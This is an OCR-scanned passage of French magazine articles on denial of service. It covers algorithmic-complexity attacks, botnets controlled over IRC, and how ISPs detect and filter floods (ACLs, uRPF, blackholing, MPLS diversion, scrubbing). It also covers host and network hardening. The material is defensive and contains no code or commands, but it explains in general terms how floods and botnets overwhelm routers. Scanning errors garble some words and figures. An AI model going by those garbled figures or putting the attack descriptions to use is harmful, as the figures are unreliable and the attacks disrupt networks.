longue. Lorsque le programme decompresse le fichier, pour y
chercher un virus par exemple, il arrive qu'il explose ou que le
disque sature.

Certaines versions du verificateur de byte code de Java sont
également vulnérables a des classes judicieusement formees. La
machine virtuelle peut partir en vrille, avant le lancement d'une
classe, a cause de l'algorithme de vérification des classes. Larchive
d'attaque est petite, car les classes sont tres redondantes.

Des vulnérabilités ont été exploitées sur SSH, utilisant la
difficulté de verification des signatures DSA et la génération des
clefs RSA. Des données aléatoires sont envoyees a la place de
donnees a déecrypter. Le serveur doit consommer une quantite
importante de CPU pour se rendre compte de la supercherie.
Une fois les données décryptees, il s'apercoit qu'elles ne sont
pas exploitables.

Resister a ces attaques algorithmiques est tres difficile. Depuis
les années 70, pratiqguement personne ne s'est préoccupe de ces
vulnérabilités. Les algorithmes proposés dans tous les langages
sont optimiseés pour une utilisation classique. mais sont egalement
sensibles a ces attaques. Les applications sont de plus en plus
exposées sur Internet. Les pirates peuvent alors analyser les outils
et les langages utilises sur le serveur, deviner o les tables de hash,
les expressions régulieres ou d'autres algorithmes identiques
sont utilisés et exploiter ainsi les vulnérabilités inhérentes des
langages.

Liens

-+ htep://www.hut.fi/~mkousa/ssh/ssh-dos.html

-+ http://hotwired.wired.com/packet/garfinkel/96/45/geel.html

— http://www.ics.uci.edu/~franz/Site/pubs-pdf/ICS-TR-03-23.pdf

-+ http://www.cs.rice.eduf~scrosby/hash/CrosbyWallach_UsenixSec2003/

-+ http://www.cs.rice.edu/~scrosby/hash/slides/USENIX-RegexpWIP.2.ppt
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La détection et la réponse aux dénis de service sont le
quotidien des équipes de supervision réseau et sécurité
chez un opérateur. Heureusement, les moyens mis en
cuvre ont beaucoup évolué ces derniéres années ce qui
permet de réagir plus rapidement et de maniére plus
souple : le comportement du réseau devient plus clair, les
informations sur I'attaque sont de meilleure qualité et la
réponse ne se limite plus a envoyer le trafic dans un trou
noir. Mais attention, le tableau n’est pas aussi parfait qu’il
y parait : les réseaux de zombies (botnet) sont devenus un
vrai marché, la taille des attaques dépasse bien souvent
le gigabit par seconde (Gb/s) et bien des opérateurs
ne filtrent pas suffisamment en sortie de leur réseau.

Les attaques

Les plus anciennes sont toujours et encore les plus courantes :
envol en masse de TCP SYN vers des services exposés sur le
systeme distant (80/tcp pour HTTP, 25/tcp pour SMTP, 6667/tcp
pour IRC et les differents ports utilisés par les serveurs de jeux en
ligne), de datagrammes UDP aleatoires (bien souvent vers le port
0 (0/udp)) et de messages ICMP du type ECHD ou ECHO_REPLY. La
majorité des attaques sont des attaques directes, on voit de moins
en moins d'attaques par amplification et celles par rebond peuvent
se compter sur les doigts d'une main. L'adresse IP source est
encore forgée {« spoofée ») dans une bonne moitié des attaques.
Les attaques contre l'infrastructure de l'opérateur sont souvent
liges a la publication d'une vulnerabilité qui touche directement
les routeurs déployes dans le cceur du reseau : des failles liees a
certains protocoles [4][6], des attaques contre BGP [5], etc.

Au jour d'aujourd’hui trés peu d'attaques ont tenté d'exploiter les
problemes de performance liés au traitement de certains paguets
qui ne sont pas fait par des ASIC.

Ce phenomene est proche de celui lie aux publications de failles
systeme ou applicatives. |l apparait neanmoins trés ponctuel et
il reste tres peu de « bruit de fond » : on note un pic de prise
dempreinte (scan) ou d'envoi en masse de paquets pour tenter
d'exploiter la faille apres la publication et quelques jours plus
tard, plus rien.

En revanche ces attaques et ces vulnérabilités peuvent provoquer
des dommages indirects : le déploiement de politiques de
dampening (une route qui n'est pas stable est ighorée pendant un
temps donné) permet de limiter la charge CPU d'un routeur en
reduisant les calculs de route, mais si une session BGP n'est pas
stable a cause d'une attaque ou qu'un ensemble de routeurs doit
étre redemarre, cela cause une perte de connectivite [7].

A ce jour, le seul evenement qui a sérieusement impacte
I'infrastructure de beaucoup de FAIl est le vers SQL Slammer
(paguet UDP unique et de petite taille, sans autre forme de
communication).

L'année derniere, aux victimes favorites que sont les serveurs
IRC et |es serveurs de jeu en ligne, se sont rajoutes les serveurs
proposant des paris en ligne ou des casinos virtuels. Les
serveurs IRC et de jeu sont souvent attaqués pour se venger
d'une discussion un peu animée dans un espace de messagerie
instantanée ou encore pour essayer de ne pas perdre une vie ou
une arme dans son jeu favori lorsque le combat ne se deroule
pas comme prévu. Les attaques contre |es services commerciaux
en ligne sont eux plus proche d'un modele moins virtuel : le
ranconnage, déja éevoque dans l'introduction au dossier.

L'époque ou les attaques se limitaient a quelques dizaines de
megabits par seconde est bien loin. |l est devenu tres rare
de voir un déni de service distribué inférieur a 100Mb/s. Les
attaques les plus larges qui ont ete observees sont de ['ordre de
3 a2 4 Gb/s [3]. Quasiment aucun élément final (serveur, réseau
d'entreprise, etc.) ne peut absorber ce genre de charge et les
mecanismes de protection que proposent certains FAl deviennent
indispensables.

La bande passante est une caracteristigue importante, mais le
nombre de paquets par seconde (PPS) I'est encore plus. En effet,
beaucoup d'équipements de commutation et de routage tiennent
leurs promesses de performance avec des tailles de paquet ou de
trame maximales, mais plus on se rapproche des tailles minimales,
plus 'impact devient important. Par exemple, si un équipement
arrive a traiter 50 000 paquets a la seconde, sachant que la taille
minimale d'un paquet IP est de 20, la bande passante, elle, ne sera
que d'environ 8 Mb/s octets (sans tenir compte de |'encapsulation
par les couches inferieures). En theorie, il suffit de quelques
dizaines de PC infectes connectes via des liens DSL ou cable
pour arriver a faire « surchauffer » certains routeurs. ..

Botnet

La force de frappe a l'origine du déni de service ne se limite pas
a quelques systemes infectés contrélés un par un par l'attaquant.
Depuis bien des années des criminels informatiques construisent
leur réseau d’agents composés de systemes infectés par un
virus/ver ou exploites via une faille qu'ils gerent via un canal de
communication et de contréle (C&C).

Le mécanisme de communication le plus répandu en ce moment
est IRC (Internet Relay Chat — une forme de messagerie instantanee)
car le modele est relativement intéressant : beaucoup de solutions
serveurs disponibles, client simple a developper si necessaire,
modele client/serveur, latence faible, etc.

"/

S00T winljiew - g 51




Dénis de service

Dénis de service : la vision de 'opérateur

Misc |9 - maifjuin 2005

Le logiciel serveur le plus courant pour gérer les communications
avec les « zombies » est une version modifiee d'Unreal
IRC [8]. A I'origine les attaquants utilisaient uniquement
des réseaux IRC publics {comme EFnet ou UnderNet) mais
depuis que les opérateurs IRC les détectent et les chassent,
ils montent leurs propres mini-réseaux IRC ce qui rend la
détection beaucoup plus difficile et en cas de découverte les
pertes sont plus limitées. Certains agents infectieux reposent
egalement sur des réseaux P2P (peer-to-peer), mais ils sont
trés rares.

Ces réseaux de zombies se vendent a bon prix, tout
particulierement si les agents sont déployés sur des réseaux
particuliers (comme des réseaux militaires ou gouvernementaux).
On passe alors de quelques centimes d'euros par agent a 50 euros.
Il y a quelques années, il était courant de trouver des botnets
de plus de 50 000 zombies, mais aujourd'hui ils ne comptent
rarement guére plus de quelques milliers, sont plus distribuées,
donc plus discrets.

Il est difficile d'estimer le nombre de réseaux, mais en croisant
différents chiffres une fourchette de 2000 a 5000 parait
realiste.

Détection et nettoyage

Des sites comme ISC [9], myNWV [10] et IBN [11] donnent des
indications sur les ports les plus « scannés » sur |'lnternet, ce
qui permet de determiner quelles failles sont en train d'étre
exploitées par des outils automatisés d'exploitation de failles
et/ou par des vers.

Une fois I'hote compromis, s'il n'est pas transforme en serveur
SMTP pour envoyer du courrier électronique non sollicité, il y a
fort a parier qu'il fera partie d'un botnet.

Une fois que I'hote s'est connecté sur le serveur IRC ('adresse
IP ou le FQDN, le nom du canal ainsi que le mot de passe sont
souvent contenus dans le binaire), il va rejoindre le canal et :
+ soit attendre une commande de l'attaquant {« scanner »
une plage d’adresse a la recherche d'une vulneérabilité ou lancer
une attaque) ;

+ soit interpréter le sujet (topic} du canal comme une
commande et I'exécuter.

Differents moyens et techniques permettent de trouver ces
botnets, mais ils sont tous relativement gourmands en temps.
L'approche la plus courante consiste a faire une analyse
« forensique » d'un systéme infecté pour retrouver le code
malveillant et étudier ses communications, soit avec les outils
systéme standards ainsi gqu'un « renifleur » (sniffer), soit en tragant
et en analysant l'exécution du programme.

Une deuxieme approche consiste a faire tourner le code/
programme récupére dans un environnement sécurisé (honeybot
[12]) : l'agent est executé dans une machine virtuelle qui autorise
les connexions C&C ainsi que I'envoi de paquets générigues mais
en nombre limité et a un tres faible débit. Cette approche est
plus « active » et legerement plus risquée, mais possede |'avantage
d'étre un vrai client : lorsque l'attaquant passe des commandes

a ses agents, nous les recevons également, ce qui permet par
exemple de voir qui est en train d'étre attagué ou comment les
agents se propagent.

Une troisieme approche est celle du chapitre allemand du projet
Honeynet [8] : un outil (mwcollect2) a éte developpé. Loutil
est un service générique qui se laisse compromettre tout en
detectant quelle est l'attaque et en permettant une exécution
contrblée avec identification des attaques non connues grice a
un condensat md5.

Filtrage du trafic

Le filtrage du trafic est une mesure préventive de protection de
l'infrastructure réseau et dans [a réponse a certaines attaques.
En revanche, comme vous pourrez le constater apres avoir lu
ce paragraphe, certaines formes de filtrage sont a utiliser avec
parcimonie, de fagon trés réflechie et surtout pas sous la pression,
au risque de se retrouver avec un pare-feu geant voire un réseau
inoperant.

XACL et MPLS

Les xACLs ne sont pas une nouvelle fonctionnalité, mais plutét un
concept innovant de filtrage du trafic qui, combineé avec un ceeur
de reseau ou MPLS est activé, permet de le securiser. Les trois
formes courantes sont les IACL, les rACL et les tACL [13] et elles
sont a déployer sur les routeurs de bordure (edge : peering/transit
edge et customer/city edge). Le déploiement de ce genre d’ACL
implique un plan d’adressage structure et une activation de celle-
ci en mode « compilé » qui permet d'avoir un impact CPU fixe et
qui ne depend plus de leur longueur.

Il convient également de rappeler que tous les FAIl ne sont pas
identiques face au filtrage et aux dénis de services : un opérateur
international (tierl) n'appliquera pas (et ne pourra pas appliquer)
les mémes regles de filtrage qu'un opérateur local ou un FAI grand
public avec de larges bases d'utilisateurs « grand public ».

L'infrastructure ACL (iACL) interdit tout trafic a destination
du ceeur du réseau, l'objectif étant de le rendre étanche. Si les
routeurs du ceeur du reseau « routent » les paquets (i. e. le coeur
n'utilise pas MPLS) la politique liee a la gestion de ping et de
traceroute (melange d'ICMP et d'UDP) est importante. Le fait
d'interdire tout trafic entrant et sortant (le filtrage par ACL dans
ce cas n'étant pas stateful) peut amener certaines personnes a
croire gu'il y a des pertes de paquets et des problemes de qualite
alors que ce n'est pas le cas et peut rendre la gestion du réseau
plus complexe pour vos équipes opérationnelles.

La receive ACL (rACL) est un concept et egalement une
implementation (Cisco). Cette ACL va lister toutes les
communications autorisées avec le routeur lui-méme et s'applique
a toutes les interfaces de celui-ci. On y retrouve les protocoles
permettant 'administration, ceux nécessaires pour les protocoles
de routage ainsi que ICMP ECHO/ECHD REPLY. L'objectif est de
proteger le routeur ainsi que son RP (Route Processor).

La transit ACL (tACL) n'est normalement activee que
ponctuellement. Elle a pour but de filtrer le trafic « en transit »
sur le réseau pour protéger ['infrastructure et/ou les services des




clients. Elle peut se décomposer en tACL edge (filtrage du trafic
venant de I'Internet vers |'opérateur) et tACL access (filtrage du
trafic venant des clients vers le réseau de 'opérateur). Une telle
ACL a par exemple été déployee temporairement par beaucoup
d'opérateurs lors de 'épisode SQL Slammer ou le « Cisco wedge
bug » [4]. A la différence des iACL et des rACL qui ont une politique
« default deny », les tACL ont couramment un « default permit ».

Une bonne politique ainsi que des processus de gestion et de
verification de ces ACL, de leur déeploiement et de leur activation
sont trés importants, au risque de mettre en péril votre réseau :
fausse impression de sécurité, trafic filtré « aléatoirement » en
fonction du routeur, probléme de performance, etc.

URPF

Unicast Reverse Path Forwarding est une fonction dite « anti-
spoofing » qui est a déployer au plus proche des clients : les
routeurs d'accés. uRPF protége non seulement le réseau contre
les paguets forgeés, ce qui est important, mais réduit également
les attaques reposant sur de tels paquets et qui sont difficiles &
tracer.

La version strict ne laisse passer que les datagrammes IP dont la
route vers I'adresse IP source pointe vers l'interface d'entrée.
Cela pose un probléme pour les reseaux avec des connexions
multiples (« BGP multi-homed network ») et I'on utilise alors la
version loose qui elle vérifie uniqguement si une route pour cette
adresse IP source est présente dans la table de routage. Cette
version foose I'est presque trop, vu qu'il est toujours possible de
forger des paquets : il suffit pour cela de sourcer des paquets avec
une adresse |P source qui est presente dans la table de routage.

Une nouvelle fonctionnalité, uRPF par YRF (instance virtuelle
de routage et de forwarding qui contient une table de routage
specifigue) [14], permet un filtrage plus fin. Une VRF permet
d'avoir plusieurs tables de routage sur un méme routeur (i. e.
plusieurs routeurs logiques sur un méme routeur physique). Dans
le cadre d'uRPF par VRF, on utilisera le mode foose pour des
clients avec des voies montantes multiples et vu que la table de
routage dans ce VRF ne contiendra que les routes que ce client
annonce via BGP, il ne pourra plus passer au travers des mailles
du filet.

BOGONS

Les BOGONS [15] sont des préfixes réseau qui ne sont pas encore
alloués, Les datagrammes avec une adresse IP source « BOGON »
sont forcement invalides et peuvent étre filtrés. Les datagrammes
avec une telle adresse destination seront « poubellisés » par le
premier routeur avec une table de routage BGP car ce prefixe
reseau n'y sera pas préesent.

Cette liste est dynamique et certains vendeurs ont eu la mauvaise
idee d'intégrer cette liste pour filtrage. La probléematique de la
mise a jour est souvent ignorée et il est tres difficile de trouver
la faute dans un réseau quand certaines destinations ne sont
pas joignables car elles sont dans un préfixe réseau récemment
alloue.

CAR

Commited Access Rate communément appelé « rate-limit » permet
de limiter la bande passante allouée (par protocole, par adresse
IP, etc.). Certains FAl limitent la bande passante allouée a des
protocoles comme |ICMP car trés courant dans les attaques.
Cela permet effectivement de se protéger d'un « flood ICMP »,
mais un effet de bord est souvent oublié : le routeur ne sait pas
différencier les messages ICMP « méchants » [16] des « gentils »
(ping, traceroute, etc.).

Morale, votre réseau ne souffre pas a cause de l'attaque mais
votre centre de support oui, a cause de tous les clients qui croient
que votre réseau ne fonctionne plus.

QoS

La qualité de service (QoS) dans un réseau devient de plus en plus
importante. En effet, le méme réseau IP transporte des services
de réseaux privés virtuels MPLS (IP VPN), de la voix sur P (VolP},
etc. Le trafic dit « Internet » se retrouve donc souvent associé a
une file de faible priorité avec des propriétés limitées alors que la
voix sur IP aura une file « rapide » (LLQ — Low Latency Queue).

Le trafic « Internet » est souvent marqué avec un DSCP
(Differentiated Services Code Point) a O sur les routeurs de bordure
(limites administratives du systéme autonome). Cette valeur est
ensuite copiée depuis/vers le champ EXP de l'en-téte MPLS si
necessaire.

Pour essayer de protéger encore plus ces services critiques,
de plus en plus de fonctionnalités sont mises en ceuvre afin de
permettre une séparation forte du plan de transport des données
et des canaux de controle (« data and control plane separation/
policing ») a I'image de ce qui se fait dans les réseaux ATM (VC
différents). A ce stade, il estimportant de rappeler qu'un routeur
traite beaucoup plus rapidement les paquets en transit que ceux
qui lui sont destineés. Les VRF ainsi que les VPN MPLS combines
avec de la QoS permettent cette separation. |l reste donc a
protéger le routeur pour essayer de contenir les effets d'une
attaque a son encontre ou transportée dans un VPN d'affecter les
autres VPN. La limitation du trafic administratif (ICMP entrant,
requétes SNMP, journalisation d'évenements, etc.) permet de
préserver le Route Processor [20].

Détection et réponse

Une fois une attaque détectée (grice aux différents compteurs
disponibles sur les routeurs, a Netflow ou suite a I'appel du client
i-) la réponse la plus courante est le trou noir (blackhole [18]).
Cela passe par l'injection via BGP d'un prochain saut specifique
(next-hop) qui aura été prealablement configure sur tous les
routeurs de bordure pour pointer vers l'interface virtuelle null0.
Tout le trafic a destination de cette adresse sera alors envoye a la
« poubelle » des qu'il atteint le reseau de I'opérateur. Ce service
n'est alors plus accessible mais le reste du reseau du client reste
lui disponible. C'est pour cette raison que certains attaguants ne
se limitent pas a la cible principale et n'épargnent pas les serveurs
DNS ou de messagerie. Les options pour essayer de contourner
l'attague et garder le service disponible sont alors tres faibles.
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Pour proteger les liens inter-opérateurs certains FAl proposent
d'etendre ce trou noir également i leur réseau (remote triggered
blackhole [17]). L'opérateur attaqué marque alors I'annonce de
route avec une communauté spécifique qui engendrera un trou
noir dans le réseau amont. Ces approches (filtrage par blackhole
ou ACL) se limitent a filtrer sur 'adresse destination ou sur
d'autres informations présentes dans I'en-téte IP (et TCP/UDP/
ICMP/etc. dans une certaine mesure) et vu que beaucoup de
protocoles sont soit encapsulés, soit reposent sur les {abusent
des 7) mémes ports que les applications dites « légitimes », il n'est
plus possible de les filtrer.

A ce point un équipement (ou une fonctionnalité) dédié faisant de
I'analyse protocolaire devient nécessaire.

Une approche plus intéressante consiste 3 combiner la diversion
MPLS [19] avec un équipement de filtrage intelligent. A |a différence
du trou noir, qui signifie de maniére indirecte que l'attaquant a
gagne, le fait de rerouter le trafic et de l'analyser pour ne laisser
passer que les « bons » paquets, permet de maintenir le service.

La diversion MPLS fonctionne sur le méme principe que le
trou noir : le prochain saut pour 'adresse IP attaquée est
force a I'adresse de I'équipement d'analyse et de filtrage. Cette
modification propagée par LDP (Label Distribution Protocol)
engendre la création d'un chemin dynamique (LSP — Label Switch
Path) entre chaque routeur de bordure et le routeur précedant
I'équipement (penultimate hop popping). Le trafic « autorisé » qui
quitte 'equipement est lui routé « normalement » et, pour éviter
des boucles au niveau du routage, il ne doit plus traverser de
routeur de bordure. Cette solution ne permet de traiter que les
flux entrants.

Machine a laver

La « machine a laver » est le petit nom donné a ces équipements
de filtrage intelligents. Le déploiement le plus courant se base sur
une architecture distribuée et la diversion MPLS. Dans le cadre
d'un reseau de plus petite taille ou d'un centre d’hébergement,
il peut étre plus intéressant de le placer en coupure. Bien des
vendeurs recommandent de placer un tel equipement au niveau du
site client : dans la majorite des cas, c'est une mauvaise idée car le
résultat sera nul : peu de clients ont assez de bande passante sur
la voie descendante pour absorber la plus petite des attaques.

Il est tres important de connaitre le réseau cible et de travailler
avec les responsables pour en comprendre le comportement et
pouvoir definir et valider une politique de filtrage dynamique
adequate. Certaines solutions intégrent des mécanismes
d'apprentissage qui permettent d'améliorer la qualité des filtres
et eviter autant que possible de filtrer trop ou pas assez. |l peut
étre intéressant d'exporter les données Netflow pour améliorer
encore plus ces filtres.

Ces systemes introduisent une complexité supplémentaire et donc
de nouveaux « risques » vis-a-vis du trafic client. Les journaux
doivent donc étre relativement détailles pour pouvoir surveiller
en temps reel le fonctionnement du produit et notifier le client
qu'une attaque est en cours et que le systéme traite le trafic.

Coopération entre opérateurs

Durant les dix dernieres annees, beaucoup de chercheurs ont
proposeé différents protocoles ou methodes (itrace, IP traceback,
MULTOPS, SPIE, pushback, IDIP, CenterTrack, etc.) pour essayer
de faire remonter des informations et tenter de combattre le
deni de service au plus prés de la source. Force est de constater
qu'aucune d'elle n'est allee au dela de la preuve de concepe [1].

Arbor Networks a recemment lancé une nouvelle initiative
« Fingerprint Sharing Alliance » [2] qui propose une solution
interessante de partage d'empreintes d'attaques, mais elle ne
s'applique qu'aux possesseurs de leur produit Peakflow SP.

Pour l'instant, il semble que la meilleure methode pour arriver
a remonter a la source d'une attaque, une fois que les differents
points d'entree sur le réseau sont identifiés, consiste a utiliser ses
contacts privilegies chez les opérateurs impligues, et egalement,
mais cela est plus rare, d'arriver a retrouver quel est le botnet
attaquant et d'arriver a le demanteler,

Conclusion

La securisation de tous les composants de l'infrastructure,
tout particulierement les routeurs de bordure « exposes »
et les protocoles de routage, ainsi que la mise en place de
mecanismes de filtrage (ACLs QoS, plans sépares, etc.)
sont les deux etapes préeparatoires principales. Les ignorer
revient a essayer de construire une structure en beton
arme sur des sables mouvants.

Viennent s'y ajouter les elements de detection de deni de
service reposant pour la majorite sur Netflow et, service
a valeur ajoutée pour l'instant mais qui risque de devenir
un standard dans les années a venir, la machine a laver les
paguets IP qui permet d'assurer une meilleure qualite de
service ainsi qu'une disponibilité accrue.

Cela ne fonctionne parfaitement que dans un monde
relativement homogene : routeurs suffisamment
« puissants » avec la bonne version logicielle, materiels
{chissis et cartes) qui supportent ces fonctionnalites,
interopérabilite entre les vendeurs, etc. Malheureusement
peu de reseaux sont si parfaits,

Pour limiter les attaquants potentiels, de nombreux efforts
sont menes afin de reduire le nombre de clients infectes
(securite du systeme d'exploitation et des applications,
education des utilisateurs, chasse aux botnets, etc.). Cela
permet de limiter sensiblement le nombre de soldats dans
chaque armée de zombies, mais leur force unitaire, elle,
augmente avec la bande passante disponible sur la voie
montante depuis |'utilisateur,

« Heureusement » que beaucoup de produits d'acces
Internet grand public ne proposent que moins de 512Kb/s
en upstream, pour I'instant. ..
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Que ce soit des sites Internet trés importants comme
Amazon, Ebay [1] et Yahoo [2] ou des structures avec
une aura médiatique moindre comme Gibson Research
Corporation [3], nul n'est a l'abri d'un DOS, DDOS ou
DRDOS, La volonté de leurs auteurs est de paralyser la
cible choisie et que ce soit en surchargeant ses liens réseau
ou en bloquant un service donné, le résultat est souvent
le mé&me et occasionne des difficultés ou impossibilités a
communiquer. La chose est génante pour un particulier,
mais elle devient critique pour un site de E-commerce
a l'image de ceux présentés ci-dessus qui se retrouvent
avec un manque a gagner voire un manque de crédibilité.

C'est d'une bataille entre l'attaquant et sa cible qu'il s'agit et sans
aller jusqu'a citer L'art de la guerre (Sun Tzu [41]), on retrouve
une analogie avec un général et ses soldats qui partent a l'assaut
d'une cible. Le premier étant le « poste maitre » et les seconds,
les postes agents encore appelés « zombies », « bots », etc. La
radicalisation des méfaits est devenue monnaie courante sur la
toile, rackets et chantages au déni de service comme |'a subi
Google [39]. Ces manceuvres se banalisent et s'apparentent de
plus en plus, comme le précise un rapport du Clusif [40], a des
techniques « cyber-mafieuses » [4]. Avant de préciser les moyens
et méthodes de protection, un petit rappel historique s'impose. ||
faut en effet garder a I'esprit que le réseau Internet tel que nous
le connaissons aujourd'hui n'a pas été concu a la base avec un
souci de securité, mais plutot de fonctionnalité dans le cas ou une
frappe nucléaire massive devait frapper le sol ameéricain. Le projet
de base demandé a BBN (Bolt, Beranek et Newman) par I'ARPA
était de créer un réseau décentralisé qui continue a fonctionner
méme si une ou plusieurs machines étaient touchees [5]. De plus,
le protocole TCP/IP (développeé a partir de 1973) part du postulat
qu'il est utilisé dans un domaine de confiance et non dans un
environnement hostile. Les extensions de securité ne sont venues
que plus tard.

Internet aujourd’hui est un formidable moyen de communication
et de travail, toute interruption de service peut se revéler lourde
de consequences i la fois financiéeres, politiques et en image de
marque pour la sociéte victime de l'attaque. Les differentes facons
que peuvent prendre celles-ci peuvent étre d'une fagon genérale
(mais non exhaustive) réesumees par une utilisation intensive des
ressources systeme de la cible et/ou une consommation élevee
de |a bande passante qui lui est allouge.

Phases temporelles
et domaines administratifs

Cette double appellation preécise les différents moments ou il est
possible d'agir afin de tenter (oui, tenter !) de se protéger des
attaques de type (D)(R)DOS et les endroits physiques ou les
méthodes de protections ci-dessous s'appliquent :

+ le reseau de la victime (victim network) ;

+ le réseau intermediaire (intermediate network) ;

+ |e réseau source (source network).

La notion temporelle et les differentes phases associees (avant,
pendant et aprés) sont importantes quand on parle de prévention/
detection contre les DDOS. Autant la premiere semble couler de
source (le proverbe « mieux vaut prevenir que guerir »), autant
les deux derniéres sont moins évidentes a appréhender et a
prendre en compte.

Avant l'attaque:

Il faut distinguer trois sous-familles qui chacune doit faire I'cbjet
de différentes attentions :
+ les machines cibles (hosts) ;

+ le reseau (en tant que moyen de transport) ;

+ les services (les applicatifs).

Les hosts

Si tous les administrateurs, utilisateurs etaient serieux et
consciencieux, la portée et les degits occasionnes par un DOS
pourraient &tre limités. En reprenant 'analogie par rapport a une
bataille, une idée simple pour se proteger est de limiter le nombre
d'attaquants susceptibles de nous agresser. L'attaquant etant le
host, il faut empécher celui-ci de servir de vecteur offensif : moins
le « géneral » dispose de troupes, mieux cela sera pour la victime,
car aujourd'hui le host est un outil de plus en plus performant. La
conjonction de la montee en puissance des ressources systeme
ajoutée a la vulgarisation du (tres) haut debit affirme un peu plus
chaque jour la dangerosité liee a celui ci.

Actuellement, le temps moyen entre la publication d'une faille et
la mise a disposition d'un exploit diminue tous les jours. Aussi pour
empécher la compromission des machines, une idée simple est de
patcher celles-ci, Mais, cette simple evidence sans la connaissance,
la personne (ou les equipes adequates) pour verifier l'efficacite
de la correction et l'infrastructure nécessaire pour la déployer,
n'est pas simple a réaliser.

Il faut d'abord avoir acces a l'information informant que des
mises a jour sont disponibles. Une logique de veille technologique
est de mise. Mais heureusement, la plupart des editeurs
ont compris |'intéerét de donner ce genre d'information et
beaucoup d'organismes a |'image des CERT [6] ou de mailing-
list type BUGTRAQ [7] nous tiennent informes des derniers
développements en cours. Apres le télechargement des correctifs
et/ou patchs, il faut, dans la mesure du possible (et surtout pour
les entreprises), valider ceux-ci sur un environnement de test afin
de verifier la coherence des mises a jour. Les effets de bord sont
toujours possibles et chaque OS est un cas particulier.

Si dans le cas d'un particulier le nombre de machines est fini,
on ne peut en dire autant quand il s'agit d'une PME/PMI ou
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multinationale. Ce peut-étre plusieurs dizaines, centaines voire
milliers de postes dont il faut s'occuper. L'utilisation d'un outil de
teledistribution ou d'une infrastructure a I'exemple de Windows
Update [B] (pour le monde Windows) est de mise. Le terme
« infrastructure » veut d'ailleurs bien dire ce qu'il veut dire. Dans
le cas d'une architecture complexe, il ne faut pas faire pointer les
n postes de la societé sur le méme serveur sous peine de courir le
risque de se créer soi-méme son propre deéni de service. Il est plus
logigue de construire une structure arborescente avec plusieurs
serveurs qui permette de fluidifier le trafic.

De la méme fagon qu'une politique claire et precise sur les patchs
est nécessaire, une gestion saine de la problématique virale est
obligatoire. La plupart des virus aujourd'hui ont la possibilité
d'agir comme agent DDOS a l'image de la famille W32.Randex
par exemple [9]. Une mise a jour réguliere (car il n'est pas rare
d'avoir jusqu'a une dizaine de nouveaux virus ou variantes par
jour), en tenant compte des mémes contraintes de validation que
pour les patchs de sécurite, doit étre effectuée par les équipes
d'administration.

Afin de se prémunir contre les installations sauvages de logiciels
souvent vecteurs de propagation des problémes viraux, 'acces
aux postes de travail doit étre contrélé par une authentification
sinon forte du moins reelle (liste non exhaustive) :

+ login/password ;

+ biometrie.

Ce sont des moyens simples d'empécher que n'importe qui accede
aux postes et fasse n'importe quoi en installant et utilisant des
logiciels non vérifiés et validés. La politique de sécurité de la
societé doit étre précise sur ce point et interdire les dérives,
seuls les logiciels ddment autorises doivent étre installés et la
encore non pas par l'utilisateur mais par I'administrateur qui seul
doit avoir cette possibilité. La mise en place d'une solution de
monitoring efficace tragant les acces machine, les logiciels utilises
eterreurs rencontrees clarifie l'utilisation qui en sera faite.

Actions sur les protocoles de communication
et les réseaux

Cette partie est celle ou, normalement, le responsable a le plus
de motivation d'agir pour mettre en place les différentes solutions
et obtenir le plus d'informations sur ce qui est en train de se
passer. A ce sujet, un point important a garder a |'esprit est que
plus tot nous avens des informations disponibles (le « ol » et le
€ comment ») sur ce qui est en train d'arriver, plus nous aurons
de chances d'étre efficace. Si l'administrateur est censé maitriser
un minimum (gquoique) les données qui sont remontées, il ne
faut pourtant pas penser qu'il s'agit d'une sinécure. Protéger
efficacement implique beaucoup de choses 3 faire et a mettre en
ceuvre Toutes ne sont d'ailleurs pas de la méme veine et rares
sont les personnes capables de maitriser tous les élements de |a
chaine sans un minimum de moyens.

Le « voir » se conjugue a |'aide d'outils de supervision, a l'exemple
d'un NSM (Network and System Management) qui sait avertir
par exemple en cas de surcharge de trafic ou d'anomalies de
fonctionnement, si utiliser un outil open source i l'exemple
de Nagios [19], Zabbix [20] ou plus complexe a l'instar de
OpenNMS [21] est encore jouable. Les compétences nécessaires
pour utiliser les ténors du marché que sont HP Openview [22],
Tivoli [23], etc. ne sont plus les mémes. Disposer de détecteurs
d'intrusion plus communément appelés « IDS » & I'instar des
produits open source Snort [26] presentes dans MISC I3 ou
de ceux de societés commerciales a I'exemple des produits de
Cisco [28], McAfee [29] ou Symantec [30] pour détecter les
differentes attaques comme TFN [16] , Mstream [|7] ou une
anomalie dans le fonctionnement des systémes sont des auxiliaires
précieux.

Il faut aussi installer soit des sondes réseau capables de remonter
en temps reel la bande passante utilisée et les difféerents flux
en transit a 'image des solutions proposees par des societés
comme Fluke Networks [24] mais aussi (si les equipements le
permettent) déployer la technologie Netflow [10] dont une
présentation a ete faite dans MISC 17 et dont un des interéts est
de remonter les flux distants. Un autre moyen tres efficace est de
mettre en ceuvre une solution dédiée a la lutte contre le DDOS
a l'instar du Peakflow SP de la societe Arbor Networks [11] ou
encore Defense Pro de la société Radware [25] qui sont des outils
performants pour caracteriser les differents echanges de données
et en effectuer une analyse pertinente.

Les différents outils sont maintenant placés. Mais pour rajouter un
niveau supplementaire de protection, il faut maintenant limiter les
flux considerés comme non logiques dans le cadre de |'architecture
réseau en place avec la mise en czuvre (par exemple) d'un filtrage,
soit Ingress (qui consiste a filtrer sur la patte externe du firewall
{ou routeur) les paguets ayant une adresse |P source faisant partie
d'une des classes du réseau interne) et/ou Egress (qui s'applique
sur la patte interne et stoppe les paquets ayant une adresse |P
source n'appartenant pas au réseau local). L'idée est d'empécher
le plus possible l'outil d'attaque (le logiciel) d'utiliser des adresses
usurpées. Aussi, il est evident que ces deux techniques ne sont
valables que si tout le monde joue le jeu : les ISP, les societes,
etc. |l faut noter d'ailleurs que si elles facilitent la recherche des
vrais auteurs, elles ne protegent en rien contre les attagues par
saturation de la bande passante.

Toujours au niveau des données, il ne faut autoriser que les
protocoles « propres », nettoyés de toutes les anomalies, la notion
de « scrubbing » est souvent employée afin d'eliminer les paguets
reseau non conformes aux specifications. La plupart des firewalls
ont aujourd'hui cette capacité a |'exemple du pare feu PF utilise
par OpenBSD [31]. La mise en place d'un serveur mandataire
charge de compléter les connexions ou encore de syncookies [32]
sont aussi des méthodes pour proteger |'infrastructure.

o
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Un des derniers points a prendre en compte au sujet de cette
derniére est de permettre une remontée d'informations
cohérente, car il est certain que le vieil adage « trop d'informations
tue l'information » s'applique ici. Il faut dans la mesure du possible
un ou des outils capables de recuperer et correler la totalité
des evénements de securité remontes par une des méthodes
présentees ci-dessus. || existe beaucoup de solutions de ce
type, certaines en open source, d'autres non. Chacune aura ses
